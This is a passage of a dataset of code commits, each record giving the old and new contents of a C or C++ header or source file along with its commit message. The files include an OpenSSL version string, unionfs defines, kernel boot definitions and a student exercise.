ropython,emfcamp\/micropython,hiway\/micropython,trezor\/micropython,noahwilliamsson\/micropython,ruffy91\/micropython,AriZuu\/micropython,mgyenik\/micropython,torwag\/micropython,swegener\/micropython,Peetz0r\/micropython-esp32,KISSMonX\/micropython,dxxb\/micropython,infinnovation\/micropython,ChuckM\/micropython,stonegithubs\/micropython,galenhz\/micropython,tobbad\/micropython,praemdonck\/micropython,mhoffma\/micropython,tobbad\/micropython,deshipu\/micropython,SungEun-Steve-Kim\/test-mp,MrSurly\/micropython,HenrikSolver\/micropython,orionrobots\/micropython,slzatz\/micropython,SHA2017-badge\/micropython-esp32,noahwilliamsson\/micropython,tuc-osg\/micropython,warner83\/micropython,tuc-osg\/micropython,emfcamp\/micropython,xuxiaoxin\/micropython,PappaPeppar\/micropython,rubencabrera\/micropython,adamkh\/micropython,Timmenem\/micropython,warner83\/micropython,paul-xxx\/micropython,toolmacher\/micropython,ernesto-g\/micropython,mpalomer\/micropython,ernesto-g\/micropython,xhat\/micropython,micropython\/micropython-esp32,martinribelotta\/micropython,Timmenem\/micropython,ahotam\/micropython,deshipu\/micropython,hiway\/micropython,Vogtinator\/micropython,jlillest\/micropython,noahchense\/micropython,aitjcize\/micropython,noahchense\/micropython,suda\/micropython,cnoviello\/micropython,methoxid\/micropystat,martinribelotta\/micropython,xuxiaoxin\/micropython,deshipu\/micropython,utopiaprince\/micropython,SHA2017-badge\/micropython-esp32,supergis\/micropython,galenhz\/micropython,MrSurly\/micropython-esp32,galenhz\/micropython,heisewangluo\/micropython,kerneltask\/micropython,danicampora\/micropython,trezor\/micropython,chrisdearman\/micropython,alex-robbins\/micropython,utopiaprince\/micropython,stonegithubs\/micropython,jmarcelino\/pycom-micropython,jimkmc\/micropython,cloudformdesign\/micropython,paul-xxx\/micropython,vitiral\/micropython,MrSurly\/micropython-esp32,EcmaXp\/micropython,mpalomer\/micropython,TDAbboud\/micropython,blazewicz\/micropython,chrisdearman\/micropython,paul-xxx\/micropython,TDAbboud\/micropython,blmorris\/micropython,Vogtinator\/micropython,dhylands\/micropython,PappaPeppar\/micropython,cloudformdesign\/micropython,emfcamp\/micropython,adafruit\/circuitpython,trezor\/micropython,xyb\/micropython,jmarcelino\/pycom-micropython,feilongfl\/micropython,drrk\/micropython,dinau\/micropython,adamkh\/micropython,methoxid\/micropystat,pfalcon\/micropython,xhat\/micropython,ruffy91\/micropython,warner83\/micropython,tuc-osg\/micropython,PappaPeppar\/micropython,PappaPeppar\/micropython,neilh10\/micropython,tobbad\/micropython,henriknelson\/micropython,adafruit\/circuitpython,SungEun-Steve-Kim\/test-mp,pramasoul\/micropython,bvernoux\/micropython,infinnovation\/micropython,HenrikSolver\/micropython,Vogtinator\/micropython,redbear\/micropython,HenrikSolver\/micropython,xyb\/micropython,jimkmc\/micropython,dinau\/micropython,alex-robbins\/micropython,neilh10\/micropython,feilongfl\/micropython,ericsnowcurrently\/micropython,AriZuu\/micropython,aethaniel\/micropython,pfalcon\/micropython,cnoviello\/micropython,hosaka\/micropython,kostyll\/micropython,tralamazza\/micropython,henriknelson\/micropython,ryannathans\/micropython,lbattraw\/micropython,drrk\/micropython,matthewelse\/micropython,praemdonck\/micropython,blazewicz\/micropython,jlillest\/micropython,utopiaprince\/micropython,danicampora\/micropython,noahwilliamsson\/micropython,SHA2017-badge\/micropython-esp32,dmazzella\/micropython,paul-xxx\/micropython,omtinez\/micropython,dxxb\/micropython,emfcamp\/micropython,SungEun-Steve-Kim\/test-mp,neilh10\/micropython,lowRISC\/micropython,galenhz\/micropython,tralamazza\/micropython,jlillest\/micropython,kerneltask\/micropython,matthewelse\/micropython,jimkmc\/micropython,TDAbboud\/micropython,lbattraw\/micropython,ChuckM\/micropython,misterdanb\/micropython,tdautc19841202\/micropython,rubencabrera\/micropython,chrisdearman\/micropython,jimkmc\/micropython,aethaniel\/micropython,TDAbboud\/micropython,dhylands\/micropython,jlillest\/micropython,MrSurly\/micropython-esp32,micropython\/micropython-esp32,Peetz0r\/micropython-esp32,slzatz\/micropython,tdautc19841202\/micropython,supergis\/micropython,mgyenik\/micropython,blazewicz\/micropython,turbinenreiter\/micropython,hosaka\/micropython,cnoviello\/micropython,xhat\/micropython,AriZuu\/micropython,danicampora\/micropython,EcmaXp\/micropython,cloudformdesign\/micropython,turbinenreiter\/micropython,supergis\/micropython,xyb\/micropython,ChuckM\/micropython,omtinez\/micropython,slzatz\/micropython,cnoviello\/micropython,hiway\/micropython,misterdanb\/micropython,mpalomer\/micropython,adafruit\/micropython,dmazzella\/micropython,swegener\/micropython,selste\/micropython,rubencabrera\/micropython,mhoffma\/micropython,matthewelse\/micropython,suda\/micropython,ahotam\/micropython,redbear\/micropython,ericsnowcurrently\/micropython,kostyll\/micropython,deshipu\/micropython,martinribelotta\/micropython,xuxiaoxin\/micropython,ganshun666\/micropython,adamkh\/micropython,ruffy91\/micropython,bvernoux\/micropython,MrSurly\/micropython,adafruit\/micropython,tuc-osg\/micropython,cnoviello\/micropython,swegener\/micropython,Peetz0r\/micropython-esp32,tralamazza\/micropython,hiway\/micropython,dhylands\/micropython,bvernoux\/micropython,tralamazza\/micropython,hosaka\/micropython,martinribelotta\/micropython,dxxb\/micropython,selste\/micropython,noahwilliamsson\/micropython,MrSurly\/micropython-esp32,matthewelse\/micropython,heisewangluo\/micropython,ernesto-g\/micropython,lbattraw\/micropython,pramasoul\/micropython,AriZuu\/micropython,mpalomer\/micropython,ryannathans\/micropython,KISSMonX\/micropython,feilongfl\/micropython,heisewangluo\/micropython,KISSMonX\/micropython,matthewelse\/micropython,torwag\/micropython,adamkh\/micropython,lowRISC\/micropython,bvernoux\/micropython,ruffy91\/micropython,dxxb\/micropython,tuc-osg\/micropython,pozetroninc\/micropython,feilongfl\/micropython,Timmenem\/micropython,micropython\/micropython-esp32,ganshun666\/micropython,puuu\/micropython,mianos\/micropython,ericsnowcurrently\/micropython,orionrobots\/micropython,jmarcelino\/pycom-micropython,vitiral\/micropython,torwag\/micropython,pozetroninc\/micropython,oopy\/micropython,Peetz0r\/micropython-esp32,firstval\/micropython,danicampora\/micropython,turbinenreiter\/micropython,omtinez\/micropython,blmorris\/micropython,selste\/micropython,pozetroninc\/micropython,stonegithubs\/micropython,firstval\/micropython,puuu\/micropython,MrSurly\/micropython,noahchense\/micropython,pramasoul\/micropython,jmarcelino\/pycom-micropython,KISSMonX\/micropython,dinau\/micropython,toolmacher\/micropython,aethaniel\/micropython"}
{"commit":"b883b10aef5ff23e7ad6c9342b5d27db26632837","old_file":"lib\/schedule\/index.c","new_file":"lib\/schedule\/index.c","old_contents":"\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n#include <string.h>\n#include <area51\/hashmap.h>\n#include <area51\/list.h>\n#include <area51\/log.h>\n#include <libxml\/xmlreader.h>\n#include <nre\/reference.h>\n#include <nre\/schedule.h>\n\n\/*\n * Callback to add a schedule to the crs locations map\n *\/\nstatic bool indexAll(void *k, void *v, void *c) {\n    int *ridId = k;\n    struct Schedule *sched = v;\n    struct Schedules *s = c;\n\n    Node *n = list_getHead(&sched->locations);\n    while (list_isNode(n)) {\n        struct SchedLoc *sl = (struct SchedLoc *) n;\n        n = list_getNext(n);\n\n        struct LocationRef *l = hashmapGet(s->ref->tiploc, &sl->tpl);\n        if (l && l->crs > 0)\n            hashmapAddList(s->crs, &l->crs, s);\n    }\n    \n    return true;\n}\n\n\/**\n * Index all schedules adding them to the crs hashmap so we have a list of entries for each station\n * @param s\n *\/\nvoid indexSchedules(struct Schedules *s) {\n    logconsole(\"Indexing %d schedules\", hashmapSize(s->schedules));\n\n    \/\/ Run through each crs\n    hashmapForEach(s->schedules, indexAll, s);\n}\n","new_contents":"\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n#include <string.h>\n#include <area51\/hashmap.h>\n#include <area51\/list.h>\n#include <area51\/log.h>\n#include <nre\/reference.h>\n#include <nre\/schedule.h>\n\n\/*\n * Callback to add a schedule to the crs locations map\n *\/\nstatic bool indexAll(void *k, void *v, void *c) {\n    int *ridId = k;\n    struct Schedule *sched = v;\n    struct Schedules *s = c;\n\n    Node *n = list_getHead(&sched->locations);\n    while (list_isNode(n)) {\n        struct SchedLoc *sl = (struct SchedLoc *) n;\n        n = list_getNext(n);\n\n        struct LocationRef *l = hashmapGet(s->ref->tiploc, &sl->tpl);\n        if (l && l->crs > 0)\n            hashmapAddList(s->crs, &l->crs, sched);\n    }\n    \n    return true;\n}\n\n\/**\n * Index all schedules adding them to the crs hashmap so we have a list of entries for each station\n * @param s\n *\/\nvoid indexSchedules(struct Schedules *s) {\n    logconsole(\"Indexing %d schedules\", hashmapSize(s->schedules));\n\n    \/\/ Run through each crs\n    hashmapForEach(s->schedules, indexAll, s);\n}\n","subject":"Index schedule not the main struct","message":"Index schedule not the main struct","lang":"C","license":"apache-2.0","repos":"peter-mount\/departureboards,peter-mount\/departureboards,peter-mount\/departureboards"}
{"commit":"87b199ef6122299199b14b0ed971558b03b97526","old_file":"vm.h","new_file":"vm.h","old_contents":"#define TREE\n\n\/\/ A mapping of a chunk of an address space to\n\/\/ a specific memory object.\nenum vmatype { PRIVATE, COW};\nstruct vma {\n  uptr va_start;               \/\/ start of mapping\n  uptr va_end;                 \/\/ one past the last byte\n  enum vmatype va_type;\n  struct vmnode *n;\n  struct spinlock lock;        \/\/ serialize fault\/unmap\n  char lockname[16];\n};\n\n\/\/ A memory object (physical pages or inode).\nenum vmntype { EAGER, ONDEMAND};  \nstruct vmnode {\n  u64 npages;\n  char *page[128];\n  u64 ref;\n  enum vmntype type;\n  struct inode *ip;\n  u64 offset;\n  u64 sz;\n};\n\n\/\/ An address space: a set of vmas plus h\/w page table.\n\/\/ The elements of e[] are not ordered by address.\nstruct vmap {\n#ifdef TREE\n  \/\/ struct node* root;\n  struct crange* cr;\n#else\n  struct vma* e[16];\n#endif\n  struct spinlock lock;        \/\/ serialize map\/lookup\/unmap\n  u64 ref;\n  u64 alloc;\n  pml4e_t *pml4;               \/\/ Page table\n  char lockname[16];\n};\n","new_contents":"\/\/#define TREE\n\n\/\/ A mapping of a chunk of an address space to\n\/\/ a specific memory object.\nenum vmatype { PRIVATE, COW};\nstruct vma {\n  uptr va_start;               \/\/ start of mapping\n  uptr va_end;                 \/\/ one past the last byte\n  enum vmatype va_type;\n  struct vmnode *n;\n  struct spinlock lock;        \/\/ serialize fault\/unmap\n  char lockname[16];\n};\n\n\/\/ A memory object (physical pages or inode).\nenum vmntype { EAGER, ONDEMAND};  \nstruct vmnode {\n  u64 npages;\n  char *page[128];\n  u64 ref;\n  enum vmntype type;\n  struct inode *ip;\n  u64 offset;\n  u64 sz;\n};\n\n\/\/ An address space: a set of vmas plus h\/w page table.\n\/\/ The elements of e[] are not ordered by address.\nstruct vmap {\n#ifdef TREE\n  \/\/ struct node* root;\n  struct crange* cr;\n#else\n  struct vma* e[16];\n#endif\n  struct spinlock lock;        \/\/ serialize map\/lookup\/unmap\n  u64 ref;\n  u64 alloc;\n  pml4e_t *pml4;               \/\/ Page table\n  char lockname[16];\n};\n","subject":"Disable crange while fixing bugs in other systems.","message":"Disable crange while fixing bugs in other systems.\n","lang":"C","license":"mit","repos":"aclements\/sv6,bowlofstew\/sv6,bowlofstew\/sv6,aclements\/sv6,bowlofstew\/sv6,aclements\/sv6,aclements\/sv6,aclements\/sv6,bowlofstew\/sv6,bowlofstew\/sv6"}
{"commit":"c7ec6be4fb2c243155bcba7a41262fe683933ea9","old_file":"sys\/sys\/snoop.h","new_file":"sys\/sys\/snoop.h","old_contents":"\/*\n * Copyright (c) 1995 Ugen J.S.Antsilevich\n *\n * Redistribution and use in source forms, with and without modification,\n * are permitted provided that this entire comment appears intact.\n *\n * Redistribution in binary form may occur without any restrictions.\n * Obviously, it would be nice if you gave credit where credit is due\n * but requiring it would be too onerous.\n *\n * This software is provided ``AS IS'' without any warranties of any kind.\n *\n * Snoop stuff.\n *\n * $FreeBSD$\n *\/\n\n#ifndef _SYS_SNOOP_H_\n#define\t_SYS_SNOOP_H_\n\n#include <sys\/ioccom.h>\n\n\/*\n * Theese are snoop io controls\n * SNPSTTY accepts 'struct snptty' as input.\n * If ever type or  unit set to -1,snoop device\n * detached from its current tty.\n *\/\n\n#define SNPSTTY       _IOW('T', 90, dev_t)\n#define SNPGTTY       _IOR('T', 89, dev_t)\n\n\/*\n * Theese values would be returned by FIONREAD ioctl\n * instead of number of characters in buffer in case\n * of specific errors.\n *\/\n#define SNP_OFLOW\t\t-1\n#define SNP_TTYCLOSE\t\t-2\n#define SNP_DETACH\t\t-3\n\n#endif \/* !_SYS_SNOOP_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 1995 Ugen J.S.Antsilevich\n *\n * Redistribution and use in source forms, with and without modification,\n * are permitted provided that this entire comment appears intact.\n *\n * Redistribution in binary form may occur without any restrictions.\n * Obviously, it would be nice if you gave credit where credit is due\n * but requiring it would be too onerous.\n *\n * This software is provided ``AS IS'' without any warranties of any kind.\n *\n * Snoop stuff.\n *\n * $FreeBSD$\n *\/\n\n#ifndef _SYS_SNOOP_H_\n#define\t_SYS_SNOOP_H_\n\n#ifndef _KERNEL\n#include <sys\/types.h>\n#endif\n#include <sys\/ioccom.h>\n\n\/*\n * Theese are snoop io controls\n * SNPSTTY accepts 'struct snptty' as input.\n * If ever type or  unit set to -1,snoop device\n * detached from its current tty.\n *\/\n\n#define SNPSTTY       _IOW('T', 90, dev_t)\n#define SNPGTTY       _IOR('T', 89, dev_t)\n\n\/*\n * Theese values would be returned by FIONREAD ioctl\n * instead of number of characters in buffer in case\n * of specific errors.\n *\/\n#define SNP_OFLOW\t\t-1\n#define SNP_TTYCLOSE\t\t-2\n#define SNP_DETACH\t\t-3\n\n#endif \/* !_SYS_SNOOP_H_ *\/\n","subject":"Include <sys\/types.h> in the !_KERNEL case so that this file is self-sufficient in that case (it needs dev_t). This is normal pollution for most headers that define ioctl numbers.","message":"Include <sys\/types.h> in the !_KERNEL case so that this file is\nself-sufficient in that case (it needs dev_t).  This is normal pollution\nfor most headers that define ioctl numbers.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"02139c2e5a05287105b41c9a418f2a6f848d484d","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       0\n#define CLIENT_VERSION_REVISION    1\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       0\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Revert \"client version to 1.0.1\"","message":"Revert \"client version to 1.0.1\"\n\nThis reverts commit 4d1baddde849c46969e1d189224cc1a507c33b01.\n","lang":"C","license":"mit","repos":"boxxa\/SMAC,boxxa\/SMAC,boxxa\/SMAC,boxxa\/SMAC,boxxa\/SMAC"}
{"commit":"efb2710d75e39e0297d88636001c43185a92c407","old_file":"vector\/Dot.h","new_file":"vector\/Dot.h","old_contents":"\/\/#####################################################################\n\/\/ Function Dot\n\/\/#####################################################################\n#pragma once\n\nnamespace other {\n\ntemplate<class T,int d> class Vector;\n\ninline float dot(const float a1,const float a2)\n{return a1*a2;}\n\ninline double dot(const double a1,const double a2)\n{return a1*a2;}\n\ntemplate<class T,int d>\ninline double dot_double_precision(const Vector<T,d>& v1,const Vector<T,d>& v2)\n{return dot(v1,v2);}\n\ninline double dot_double_precision(const float a1,const float a2)\n{return a1*a2;}\n\ninline double dot_double_precision(const double a1,const double a2)\n{return a1*a2;}\n\n}\n","new_contents":"\/\/#####################################################################\n\/\/ Function Dot\n\/\/#####################################################################\n#pragma once\n\nnamespace other {\n\ntemplate<class T,int d> class Vector;\n\nstatic inline float dot(const float a1,const float a2)\n{return a1*a2;}\n\nstatic inline double dot(const double a1,const double a2)\n{return a1*a2;}\n\ntemplate<class T,int d>\nstatic inline double dot_double_precision(const Vector<T,d>& v1,const Vector<T,d>& v2)\n{return dot(v1,v2);}\n\nstatic inline double dot_double_precision(const float a1,const float a2)\n{return a1*a2;}\n\nstatic inline double dot_double_precision(const double a1,const double a2)\n{return a1*a2;}\n\n}\n","subject":"Mark some functions static inline","message":"vector\/dot: Mark some functions static inline\n","lang":"C","license":"bsd-3-clause","repos":"omco\/geode,mikest\/geode,omco\/geode,mikest\/geode,mikest\/geode,omco\/geode,omco\/geode,mikest\/geode"}
{"commit":"2a89aa4717266b044b3dae5a235f3ecc6610f4d2","old_file":"week1\/task.c","new_file":"week1\/task.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <fcntl.h>\n#include <unistd.h>\n\nint main(int argc, char* argv[]) {\n  int f;\n  if (argc > 1)\n    f = open(argv[1], O_RDONLY);\n  else\n    f = open(\"aa\", O_RDONLY);\n  int i, readCount;\n  char buffer[5];\n\n  for(i = 5; i >= 1; --i) {\n    execlp(\"wc\", \"wc\", \"-l\", \"aa\", 0);\n    lseek(f, -3, SEEK_END);\n    readCount = read(f, buffer, i);\n    write(1, buffer, readCount);\n  }\n\n  return 0;\n}\n","subject":"Add old file from week1","message":"Add old file from week1","lang":"C","license":"mit","repos":"zdravkoandonov\/sysprog"}
{"commit":"ad315659a48175b2875adc400413808a68d951ca","old_file":"src\/libaten\/types.h","new_file":"src\/libaten\/types.h","old_contents":"#pragma once\n\n#include <stdint.h>\n#include <climits>\n\n\/\/#define TYPE_DOUBLE\n\n#ifdef TYPE_DOUBLE\n\tusing real = double;\n#else\n\tusing real = float;\n#endif\n\n","new_contents":"#pragma once\n\n#include <stdint.h>\n#include <climits>\n\n\/\/#define TYPE_DOUBLE\n\n#ifdef TYPE_DOUBLE\n\tusing real = double;\n\t#define AT_IS_TYPE_DOUBLE\t(true)\n#else\n\tusing real = float;\n\t#define AT_IS_TYPE_DOUBLE\t(false)\n#endif\n\n","subject":"Add macro to know if \"real\" is double.","message":"Add macro to know if \"real\" is double.\n","lang":"C","license":"mit","repos":"nakdai\/aten,nakdai\/aten"}
{"commit":"93c2f9bd8b058b28016e6db2421e5b38eac0606c","old_file":"src\/unionfs.h","new_file":"src\/unionfs.h","old_contents":"\/*\n* License: BSD-style license\n* Copyright: Radek Podgorny <radek@podgorny.cz>,\n*            Bernd Schubert <bernd-schubert@gmx.de>\n*\/\n\n#ifndef UNIONFS_H\n#define UNIONFS_H\n\n#define PATHLEN_MAX 1024\n#define HIDETAG \"_HIDDEN~\"\n\n#define METANAME \".unionfs-fuse\"\n#define METADIR (METANAME  \"\/\") \/\/ string concetanation!\n\n\/\/ fuse meta files, we might want to hide those\n#define FUSE_META_FILE \".fuse_hidden\"\n#define FUSE_META_LENGTH 12\n\n\/\/ file access protection mask\n#define S_PROT_MASK (S_ISUID| S_ISGID | S_ISVTX | S_IRWXU | S_IRWXG | S_IRWXO)\n\ntypedef struct {\n\tchar *path;\n\tint path_len;\t\t\/\/ strlen(path)\n\tint fd;\t\t\t \/\/ used to prevent accidental umounts of path\n\tunsigned char rw;\t \/\/ the writable flag\n} branch_entry_t;\n\n#endif\n","new_contents":"\/*\n* License: BSD-style license\n* Copyright: Radek Podgorny <radek@podgorny.cz>,\n*            Bernd Schubert <bernd-schubert@gmx.de>\n*\/\n\n#ifndef UNIONFS_H\n#define UNIONFS_H\n\n#define PATHLEN_MAX 1024\n#define HIDETAG \"_HIDDEN~\"\n\n#define METANAME \".unionfs\"\n#define METADIR (METANAME  \"\/\") \/\/ string concetanation!\n\n\/\/ fuse meta files, we might want to hide those\n#define FUSE_META_FILE \".fuse_hidden\"\n#define FUSE_META_LENGTH 12\n\n\/\/ file access protection mask\n#define S_PROT_MASK (S_ISUID| S_ISGID | S_ISVTX | S_IRWXU | S_IRWXG | S_IRWXO)\n\ntypedef struct {\n\tchar *path;\n\tint path_len;\t\t\/\/ strlen(path)\n\tint fd;\t\t\t \/\/ used to prevent accidental umounts of path\n\tunsigned char rw;\t \/\/ the writable flag\n} branch_entry_t;\n\n#endif\n","subject":"Revert to old pre-1.0 meta directory","message":"Revert to old pre-1.0 meta directory\n\nUnionfs changed its meta directory from .unionfs to .unionfs-fuse with the\nunionfs -> unionfs-fuse rename.  The rename later got reverted everywhere\nbut the meta directory, so now unionfs doesn't find the whiteout files from\nolder releases.\n\nRevert back to the pre-1.0 behaviour to fix this.\n\nSigned-off-by: Peter Korsgaard <4b8373d016f277527198385ba72fda0feb5da015@korsgaard.com>\n","lang":"C","license":"bsd-3-clause","repos":"evnu\/unionfs-fuse,evnu\/unionfs-fuse,yogoloth\/unionfs-fuse,yogoloth\/unionfs-fuse,yogoloth\/unionfs-fuse,evnu\/unionfs-fuse"}
{"commit":"a1a426ea206ffa5ad8aea089f7d70d8d04a3a210","old_file":"crypto\/opensslv.h","new_file":"crypto\/opensslv.h","old_contents":"#ifndef HEADER_OPENSSLV_H\n#define HEADER_OPENSSLV_H\n\n\/* Numeric release version identifier:\n * MMNNFFRBB: major minor fix final beta\/patch\n * For example:\n * 0.9.3-dev\t  0x00903000\n * 0.9.3beta1\t  0x00903001\n * 0.9.3beta2-dev 0x00903002\n * 0.9.3beta2     0x00903002 (same as ...beta2-dev)\n * 0.9.3\t  0x00903100\n * 0.9.3a\t  0x00903101\n * 0.9.4 \t  0x00904100\n * 1.2.3z\t  0x1020311a\n * (Prior to 0.9.3-dev a different scheme was used: 0.9.2b is 0x0922.)\n *\/\n#define OPENSSL_VERSION_NUMBER\t0x00905002L\n#define OPENSSL_VERSION_TEXT\t\"OpenSSL 0.9.5beta2-dev 24 Feb 2000\"\n#define OPENSSL_VERSION_PTEXT\t\" part of \" OPENSSL_VERSION_TEXT\n\n#endif \/* HEADER_OPENSSLV_H *\/\n","new_contents":"#ifndef HEADER_OPENSSLV_H\n#define HEADER_OPENSSLV_H\n\n\/* Numeric release version identifier:\n * MMNNFFRBB: major minor fix final beta\/patch\n * For example:\n * 0.9.3-dev\t  0x00903000\n * 0.9.3beta1\t  0x00903001\n * 0.9.3beta2-dev 0x00903002\n * 0.9.3beta2     0x00903002 (same as ...beta2-dev)\n * 0.9.3\t  0x00903100\n * 0.9.3a\t  0x00903101\n * 0.9.4 \t  0x00904100\n * 1.2.3z\t  0x1020311a\n * (Prior to 0.9.3-dev a different scheme was used: 0.9.2b is 0x0922.)\n *\/\n#define OPENSSL_VERSION_NUMBER\t0x00905002L\n#define OPENSSL_VERSION_TEXT\t\"OpenSSL 0.9.5beta2 27 Feb 2000\"\n#define OPENSSL_VERSION_PTEXT\t\" part of \" OPENSSL_VERSION_TEXT\n\n#endif \/* HEADER_OPENSSLV_H *\/\n","subject":"Change version string to reflect the release of beta 2.","message":"Change version string to reflect the release of beta 2.\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"545ae42ea7d0489da564dd61fd3b1b18bf0ebe9c","old_file":"kernel\/arch\/x86\/boot\/boot.h","new_file":"kernel\/arch\/x86\/boot\/boot.h","old_contents":"#ifndef __BOOT_H__\n#define __BOOT_H__\n\n\/* multiboot definitions *\/\n#define MB_HEADER_MAGIC 0x1BADB002\n#define MB_BOOT_MAGIC   0x2BADB002\n#define MB_PAGE_ALIGN   0x00000001\n#define MB_MEMORY_INFO  0x00000002\n\n\/* common boot definitions *\/\n#define BOOT_TIME_STACK_SIZE 0x4000\n\n\n#endif \/*__BOOT_H__*\/\n","new_contents":"#ifndef __BOOT_H__\n#define __BOOT_H__\n\n\/* multiboot definitions *\/\n#define MB_HEADER_MAGIC 0x1BADB002\n#define MB_BOOT_MAGIC   0x2BADB002\n#define MB_PAGE_ALIGN   0x00000001\n#define MB_MEMORY_INFO  0x00000002\n\n\/* common boot definitions *\/\n#define BOOT_TIME_STACK_SIZE 0x4000\n\n#define BOOT_CS_ENTRY        1\n#define BOOT_CS              (BOOT_CS_ENTRY << 3)\n#define BOOT_DS_ENTRY        2\n#define BOOT_DS              (BOOT_DS_ENTRY << 3)\n\n#define PTE_INIT_ATTR        0x00000003\n#define PDE_INIT_ATTR        0x00000003\n\n#endif \/*__BOOT_H__*\/\n","subject":"Add code and data segments definitions.","message":"Add code and data segments definitions.\n\nThis patch adds boot time data and code segments definitions.\n","lang":"C","license":"mit","repos":"krinkinmu\/auos,krinkinmu\/auos,krinkinmu\/auos,krinkinmu\/auos"}
{"commit":"4c1fdd21e54c1a7192b4c84a15f88361af466894","old_file":"autotests\/vktestbase.h","new_file":"autotests\/vktestbase.h","old_contents":"\/*\n * Unit tests for libkvkontakte.\n * Copyright (C) 2015  Alexander Potashev <aspotashev@gmail.com>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#ifndef VKTESTBASE_H\n#define VKTESTBASE_H\n\n#include <libkvkontakte\/apppermissions.h>\n\n#include <QtCore\/QObject>\n#include <QtCore\/QVector>\n\nnamespace Vkontakte {\n    class VkApi;\n}\n\nclass VkTestBase : public QObject\n{\n    Q_OBJECT\n\npublic:\n    VkTestBase();\n    ~VkTestBase();\n\nprotected:\n    void authenticate(Vkontakte::AppPermissions::Value permissions);\n    QString accessToken() const;\n\nprivate:\n    QString getSavedToken() const;\n\n    Vkontakte::VkApi *m_vkapi;\n};\n\n#endif \/\/ VKTESTBASE_H\n","new_contents":"\/*\n * Unit tests for libkvkontakte.\n * Copyright (C) 2015  Alexander Potashev <aspotashev@gmail.com>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n *\/\n\n#ifndef VKTESTBASE_H\n#define VKTESTBASE_H\n\n#include <libkvkontakte\/apppermissions.h>\n\n#include <QtCore\/QObject>\n#include <QtCore\/QVector>\n\nnamespace Vkontakte {\n    class VkApi;\n}\n\nclass VkTestBase : public QObject\n{\n    Q_OBJECT\n\npublic:\n    VkTestBase();\n    virtual ~VkTestBase();\n\nprotected:\n    void authenticate(Vkontakte::AppPermissions::Value permissions);\n    QString accessToken() const;\n\nprivate:\n    QString getSavedToken() const;\n\n    Vkontakte::VkApi *m_vkapi;\n};\n\n#endif \/\/ VKTESTBASE_H\n","subject":"Fix memory leak by making dtor virtual","message":"VkTestBase: Fix memory leak by making dtor virtual\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/libkvkontakte,KDE\/libkvkontakte"}
{"commit":"2257bf9a133c6b5c96c28578fff59910b017f335","old_file":"engine\/src\/common\/pixelboost\/graphics\/device\/vertexBuffer.h","new_file":"engine\/src\/common\/pixelboost\/graphics\/device\/vertexBuffer.h","old_contents":"#pragma once\n\n#include \"pixelboost\/graphics\/device\/bufferFormats.h\"\n\nnamespace pb\n{\n    \nclass GraphicsDevice;\n\nstruct Vertex_P3\n{\n    float position[3];\n    float __padding;\n};\n    \nstruct Vertex_P3_UV\n{\n    float position[3];\n    float uv[2];\n    float __padding[3]; \/\/ for 32-byte alignment\n};\n\nstruct Vertex_P3_C4\n{\n    float position[3];\n    float color[4];\n};\n    \nstruct Vertex_P3_C4_UV\n{\n    float position[3];\n    float uv[2];\n    float color[4];\n    float __padding[2]; \/\/ for 48-byte alignment\n};\n\nstruct Vertex_P3_N3_UV\n{\n    float position[3];\n    float normal[3];\n    float uv[2];\n};\n    \nstruct Vertex_P3_N3_UV_BW\n{\n    float position[3];\n    float normal[3];\n    float uv[2];\n    char bones[4];\n    float boneWeights[4];\n};\n\nclass VertexBuffer\n{\nprotected:\n    VertexBuffer(GraphicsDevice* device, BufferFormat bufferFormat, VertexFormat vertexFormat, int maxSize);\n    ~VertexBuffer();\n    \npublic:    \n    